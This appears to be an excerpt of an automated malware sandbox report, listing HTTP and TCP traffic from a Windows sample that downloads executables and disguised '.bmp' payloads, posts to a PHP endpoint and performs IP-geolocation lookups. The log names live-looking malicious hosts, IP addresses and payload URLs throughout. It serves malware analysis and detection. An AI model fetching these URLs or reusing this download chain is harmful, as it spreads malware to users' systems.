Source: global traffic	HTTP traffic detected: GET /1pRXr7.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /1BV4j7.mp4 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=149.18.24.96 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 113Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: HEAD /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.203Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /rumba/buben.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 193.233.132.139Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: sextipolar.sbsCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.203Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/getimage15.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rumba/buben.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 193.233.132.139Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: sextipolar.sbsCache-Control: no-cacheCookie: _subid=2aviuam2be2o6; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0
Source: global traffic	HTTP traffic detected: GET /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /upd/index.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: pofix.redCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /upd/index.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: pofix.redCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/getimage15.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 645Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 261Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: HEAD /ext/adsupressor.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ext/adsupressor.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49772 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_0041E220 recv,setsockopt,recv,WSAGetLastError,recv,recv,setsockopt,recv,recv,recv,__Xtime_get_ticks,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,Sleep,Sleep,

8_2_0041E220

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /cad54ba5b01423b1af8ec10ab5719d97.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: triedchicken.netCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7725eaa6592c80f8124e769b4e8a07f7.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: zanzibarpivo.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /style/060.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: dod.fastbutters.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /29d6e50767cda8c52446163cd5125b9a/cad54ba5b01423b1af8ec10ab5719d97.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: carthewasher.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /29d6e50767cda8c52446163cd5125b9a/7725eaa6592c80f8124e769b4e8a07f7.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cheremushki.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sextipolar.sbsConnection: Keep-AliveCookie: _subid=2aviuam2be2o6; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: monoblocked.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: f.123654987.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669163253?hash=IW0hSGrk8YDX7CqoqAMIkklp8EU8TjRsyfCDGdTN1K0&dl=ZMC21WrDfH2RaTobXxMq3AXIkVJHKfiV4OkccEpBnnk&api=1&no_preview=1#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_668917518?hash=HcqSqB4BEz69zZduDzHpG5p3oDuUGmC4h5HdrueZTFD&dl=73Wmq1mPcIfGe320FelzdYt7foFKatzHUAXVPKOvEz0&api=1&no_preview=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669152103?hash=pkblRovv4LMe1R6iuxvW4DDThffFR8gbvrqSTKlz4BX&dl=OZ0YEqh4RYRcb5Su2JqOKNJMaEcBe7Ll19G2uM9kyeX&api=1&no_preview=1#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww15 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669163151?hash=yEunDEnOxnaNHvBrCc2BNW0dbd1NA4qX8Y9HDKtZ3wo&dl=I579msw3nlUdHaNsChQ5k2o9InV0hpmjAJD1aHn0cSP&api=1&no_preview=1#ww11 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d28/7c271d7dccf9/crypted.bmp?extra=WFox4jqLY8DNZpggJugDYHfURz0IFp2CEJ2EZ6dcn0133xT-JKUJo2TXKU5w8nxJ7iTeQxBWv7que82vVLn5A4MyJIrRhem478gWXZoeAf1qnHirG7Gfd25HyBrFEv7s9t6eOUKJJs4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d33/75149034c64a/crypted.bmp?extra=a1Y3DfMrVV-HLQVxr6_Om7CkAK51CdotQMmupRb-MslqKc9-tMYpNJ3DQf6nAbruOI538UD1Lds9TUTvsBNSlaAWf869RrfzbR-vS2koiZk-zLLSpL9pUmrDzx8S3yzxoXzXl_-c8t4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669074803?hash=gtxjyDdukAIKxlWY09AIJPG5gj5TRTjhoVyhzgbP72o&dl=A9s6LaMpuQCyacGXT0hxzf0MvaBJbV8eIlyefAe3TSw&api=1&no_preview=1#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909328/u5294803/docs/d50/ac3f2e01daba/PL_Clients.bmp?extra=m49wmeN8qk8QlQa85loqM22X-GxV1iJKB2FIivb8uaQ78bY_gpO4CvKCcF8icguxq8oxSJhXfXpewgDr5kf7In64Mjh0qwZ7mefr-Cx-Jlbv34atM0YADBfRIrP4D88v-Wxq4uxy7iU HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669146636?hash=oOxNOsTOdJPrmnDMbC1WPJr0rvKjkZ1hobtPAeSmhS0&dl=r9dUuCDHeIUqlREMZideAXmDqLSX2CxI5qdKmkcx3po&api=1&no_preview=1#cap HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c237231/u5294803/docs/d14/fab319a9eaa9/file.bmp?extra=XekPvLwajf3zjaY5buJAe3HnfkyeicpSttiDxaJzdLoB5YHmFFoUME6QuSgS26MeSPNwYYaTqVwUYy3Yw-9Wvle-70JE1-Pdb5-fcQuxBsuGV0qmjloWPkyYmuqS-f4G1K17ZAtAoLg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-21.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909328/u5294803/docs/d50/141d7a9868fe/grwg_20240501083043.bmp?extra=LlcaPpnlc3Nm2YJa_HIxTuy8pxFR3cOfTp20BZVPqWbia3-pjLZINmv48VErXBJArrURXJc9wcRab86W2hl73jhKe_zRspSlR2tyoxWE2fSmgre49hjiCvIckuVAF-KTA05CvapC7EY HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1pRXr7.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /1BV4j7.mp4 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /profiles/76561199680449169 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=149.18.24.96 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: GET /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.203Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rumba/buben.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 193.233.132.139Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
